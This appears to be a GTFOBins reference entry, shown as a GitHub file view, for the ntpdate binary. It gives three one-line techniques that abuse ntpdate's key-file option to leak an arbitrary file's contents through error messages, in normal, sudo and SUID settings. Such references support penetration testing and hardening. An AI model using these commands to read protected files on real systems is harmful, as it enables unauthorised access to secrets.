GTFOBins.github.io/_gtfobins/ntpdate.md

17 lines
396 B
Markdown
Raw Normal View History

---
description: The file is actually parsed and lines are leaked through error messages.
functions:
file-read:
- code: |
LFILE=file_to_read
ntpdate -a x -k $LFILE -d localhost
sudo:
- code: |
LFILE=file_to_read
sudo ntpdate -a x -k $LFILE -d localhost
suid:
- code: |
LFILE=file_to_read
./ntpdate -a x -k $LFILE -d localhost
---